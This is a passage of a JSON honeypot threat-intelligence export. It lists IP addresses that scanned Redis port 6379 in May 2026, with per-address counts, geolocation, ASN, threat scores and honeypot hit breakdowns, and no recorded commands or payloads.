      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:11:17+00:00",
        "last_seen_30d": "2026-05-25T04:13:28.011000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 1
      }
    },
    "125.94.106.113": {
      "attack_count": 34,
      "first_seen": "2026-05-03T12:04:38.000Z",
      "last_seen": "2026-05-26T07:09:48.150Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T12:05:43.359000+00:00",
        "last_seen_30d": "2026-05-26T07:09:48.150000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "120.48.43.118": {
      "attack_count": 31,
      "first_seen": "2026-05-02T08:35:49.000Z",
      "last_seen": "2026-05-22T22:23:13.250Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T08:36:59.694000+00:00",
        "last_seen_30d": "2026-05-22T22:23:13.250000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "46.101.146.208": {
      "attack_count": 31,
      "first_seen": "2026-05-05T10:40:32.000Z",
      "last_seen": "2026-05-29T09:09:52.221Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T10:41:32.708000+00:00",
        "last_seen_30d": "2026-05-29T09:09:52.221000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "160.119.76.59": {
      "attack_count": 30,
      "first_seen": "2026-05-28T13:02:52.000Z",
      "last_seen": "2026-05-28T15:49:36.450Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 68.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7144,
        "days_active_30d": 1,
        "ports_targeted_30d": 1558,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-28T12:01:21+00:00",
        "last_seen_30d": "2026-05-28T16:00:54.296000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4599,
        "Honeytrap": 2487,
        "Dionaea": 19,
        "ConPot": 15,
        "Cowrie": 11,
        "Redishoneypot": 6,
        "Tanner": 5,
        "Dicompot": 1,
        "Miniprint": 1
      }
    },
    "164.52.196.111": {
      "attack_count": 29,
      "first_seen": "2026-05-09T15:21:32.000Z",
      "last_seen": "2026-05-11T02:38:40.047Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 132420,
      "as_org": "282, Sector 19",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T15:21:32+00:00",
        "last_seen_30d": "2026-05-11T02:38:40.047000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "125.74.55.217": {
      "attack_count": 28,
      "first_seen": "2026-05-14T08:59:25.000Z",
      "last_seen": "2026-05-25T01:37:53.051Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141998,
      "as_org": "China Telecom",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:59:25+00:00",
        "last_seen_30d": "2026-05-25T01:37:53.051000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "193.46.255.158": {
      "attack_count": 28,
      "first_seen": "2026-05-10T18:57:12.000Z",
      "last_seen": "2026-05-11T15:45:38.740Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 1412,
        "days_active_30d": 2,
        "ports_targeted_30d": 1007,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-05-10T18:58:17.521000+00:00",
        "last_seen_30d": "2026-05-11T15:49:18.650000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1268,
        "Honeytrap": 99,
        "ConPot": 8,
        "Redishoneypot": 8,
        "Dionaea": 7,
        "Cowrie": 6,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "Tanner": 4,
        "CitrixHoneypot": 2,
        "Honeyaml": 2
      }
    },
    "43.134.0.85": {
      "attack_count": 28,
      "first_seen": "2026-05-05T14:20:48.000Z",
      "last_seen": "2026-05-29T07:18:15.701Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:20:48+00:00",
        "last_seen_30d": "2026-05-29T07:18:15.701000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "101.206.108.14": {
      "attack_count": 27,
      "first_seen": "2026-05-04T23:55:09.000Z",
      "last_seen": "2026-05-31T19:39:07.892Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 54.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 23.3,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 28,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:56:17.614000+00:00",
        "last_seen_30d": "2026-05-31T19:39:07.892000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 4
      }
    },
    "176.32.193.16": {
      "attack_count": 27,
      "first_seen": "2026-05-11T11:02:41.000Z",
      "last_seen": "2026-05-14T23:14:21.134Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": null,
      "asn": 197834,
      "as_org": "Ucom CJSC",
      "threat_score": 96.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T01:37:05+00:00",
        "last_seen_30d": "2026-05-31T17:23:12.383000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 332,
        "Honeytrap": 59,
        "Cowrie": 40,
        "Dionaea": 10,
        "ElasticPot": 6,
        "Redishoneypot": 6,
        "Tanner": 6,
        "Mailoney": 2,
        "CitrixHoneypot": 1,
        "Honeyaml": 1
      }
    },
    "100.49.117.77": {
      "attack_count": 25,
      "first_seen": "2026-05-07T00:51:51.000Z",
      "last_seen": "2026-05-22T01:15:15.935Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 395,
        "days_active_30d": 30,
        "ports_targeted_30d": 176,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:59:22.957000+00:00",
        "last_seen_30d": "2026-05-31T15:40:25.503000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 395
      }
    },
    "66.132.195.92": {
      "attack_count": 25,
      "first_seen": "2026-05-08T12:38:26.000Z",
      "last_seen": "2026-05-09T14:36:32.966Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 30,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:25:09+00:00",
        "last_seen_30d": "2026-05-31T13:48:41.160000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 126,
        "Honeytrap": 55,
        "Redishoneypot": 12,
        "ElasticPot": 11,
        "Cowrie": 4,
        "Honeyaml": 4,
        "Dionaea": 3
      }
    },
    "20.65.193.28": {
      "attack_count": 24,
      "first_seen": "2026-05-27T01:34:10.000Z",
      "last_seen": "2026-05-27T01:36:58.367Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 60.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.9,
        "persistence": 20.0,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 24,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T07:20:48.354000+00:00",
        "last_seen_30d": "2026-05-28T22:59:06.373000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 10,
        "Redishoneypot": 5
      }
    },
    "52.146.21.82": {
      "attack_count": 24,
      "first_seen": "2026-05-11T01:12:20.000Z",
      "last_seen": "2026-05-11T01:15:25.593Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 10.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 12,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T03:49:25+00:00",
        "last_seen_30d": "2026-05-17T17:43:51.716000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 6,
        "Redishoneypot": 5
      }
    },
    "91.84.118.236": {
      "attack_count": 23,
      "first_seen": "2026-05-28T17:22:23.000Z",
      "last_seen": "2026-05-30T18:25:24.576Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 216071,
      "as_org": "Servers Tech Fzco",
      "threat_score": 57.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.6,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 4,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T16:31:03.841000+00:00",
        "last_seen_30d": "2026-05-31T23:36:59.644000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 217,
        "Honeytrap": 72
      }
    },
    "36.135.17.52": {
      "attack_count": 22,
      "first_seen": "2026-05-24T12:06:27.000Z",
      "last_seen": "2026-05-29T03:25:11.606Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134810,
      "as_org": "China Mobile Group JiLin communications corporation",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:06:28+00:00",
        "last_seen_30d": "2026-05-29T03:25:11.606000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 4
      }
    },
    "69.6.227.130": {
      "attack_count": 22,
      "first_seen": "2026-05-09T11:29:50.000Z",
      "last_seen": "2026-05-24T08:19:22.719Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Curauma",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-09T11:30:58.548000+00:00",
        "last_seen_30d": "2026-05-24T08:19:22.719000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "143.198.117.237": {
      "attack_count": 21,
      "first_seen": "2026-05-27T22:44:29.000Z",
      "last_seen": "2026-05-27T22:54:44.706Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.1,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 324,
        "days_active_30d": 3,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-27T13:09:16+00:00",
        "last_seen_30d": "2026-05-29T16:02:40.844000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 214,
        "Honeytrap": 101,
        "Redishoneypot": 8,
        "Dionaea": 1
      }
    },
    "165.22.230.36": {
      "attack_count": 21,
      "first_seen": "2026-05-30T02:06:07.000Z",
      "last_seen": "2026-05-30T02:07:09.912Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 126812,
        "days_active_30d": 1,
        "ports_targeted_30d": 65003,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-30T02:05:52+00:00",
        "last_seen_30d": "2026-05-30T02:20:14.587000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111157,
        "Honeytrap": 15604,
        "Dionaea": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "ConPot": 7,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1
      }
    },
    "118.121.27.103": {
      "attack_count": 20,
      "first_seen": "2026-05-07T13:59:11.000Z",
      "last_seen": "2026-05-30T07:21:47.473Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-07T14:00:21.509000+00:00",
        "last_seen_30d": "2026-05-30T07:21:47.473000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "138.68.29.8": {
      "attack_count": 20,
      "first_seen": "2026-05-29T11:15:46.000Z",
      "last_seen": "2026-05-29T11:16:51.935Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 70.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 165924,
        "days_active_30d": 1,
        "ports_targeted_30d": 64226,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-29T11:15:11+00:00",
        "last_seen_30d": "2026-05-29T11:29:02.028000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 140251,
        "Honeytrap": 25609,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 10,
        "ConPot": 9,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "206.189.229.60": {
      "attack_count": 20,
      "first_seen": "2026-05-11T00:30:18.000Z",
      "last_seen": "2026-05-11T00:40:29.616Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 3,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-09T17:40:26+00:00",
        "last_seen_30d": "2026-05-11T13:39:13.462000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 148,
        "Honeytrap": 59,
        "Redishoneypot": 8,
        "ElasticPot": 6,
        "Dionaea": 4
      }
    },
    "221.180.47.59": {
      "attack_count": 20,
      "first_seen": "2026-05-06T08:54:11.000Z",
      "last_seen": "2026-05-24T09:22:58.686Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56042,
      "as_org": "China Mobile communications corporation",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:54:11+00:00",
        "last_seen_30d": "2026-05-24T09:22:58.686000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 3
      }
    },
    "68.183.195.167": {
      "attack_count": 20,
      "first_seen": "2026-05-05T05:18:56.000Z",
      "last_seen": "2026-05-05T05:20:04.892Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 128816,
        "days_active_30d": 1,
        "ports_targeted_30d": 66217,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-05T05:17:27+00:00",
        "last_seen_30d": "2026-05-05T05:29:30.685000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 112720,
        "Honeytrap": 16038,
        "Cowrie": 12,
        "ConPot": 10,
        "Dionaea": 9,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "138.197.183.124": {
      "attack_count": 19,
      "first_seen": "2026-05-17T23:54:39.000Z",
      "last_seen": "2026-05-17T23:55:45.244Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 145575,
        "days_active_30d": 2,
        "ports_targeted_30d": 64818,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-17T23:51:35.478000+00:00",
        "last_seen_30d": "2026-05-18T00:06:00.010000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 125381,
        "Honeytrap": 20132,
        "Mailoney": 12,
        "Dionaea": 11,
        "ConPot": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "71.6.232.23": {
      "attack_count": 18,
      "first_seen": "2026-05-20T12:44:41.000Z",
      "last_seen": "2026-05-20T12:46:21.881Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 75.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 25,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-04T07:37:43+00:00",
        "last_seen_30d": "2026-05-28T02:08:45.619000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Honeytrap": 3,
        "Dionaea": 2,
        "H0neytr4p": 2,
        "Honeyaml": 1,
        "Mailoney": 1
      }
    },
    "80.82.77.139": {
      "attack_count": 18,
      "first_seen": "2026-05-26T10:32:09.000Z",
      "last_seen": "2026-05-26T10:33:20.556Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 96.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 484,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T02:58:14+00:00",
        "last_seen_30d": "2026-05-31T21:15:43.635000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 348,
        "Honeytrap": 125,
        "Redishoneypot": 5,
        "Dionaea": 3,
        "ElasticPot": 2,
        "Mailoney": 1
      }
    },
    "186.80.228.58": {
      "attack_count": 17,
      "first_seen": "2026-05-18T15:51:26.000Z",
      "last_seen": "2026-05-18T23:10:08.171Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Aguachica",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 2,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-18T15:41:33.534000+00:00",
        "last_seen_30d": "2026-05-19T14:35:55.779000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Tanner": 17,
        "Honeytrap": 5,
        "Redishoneypot": 4,
        "Dionaea": 1
      }
    },
    "91.92.42.243": {
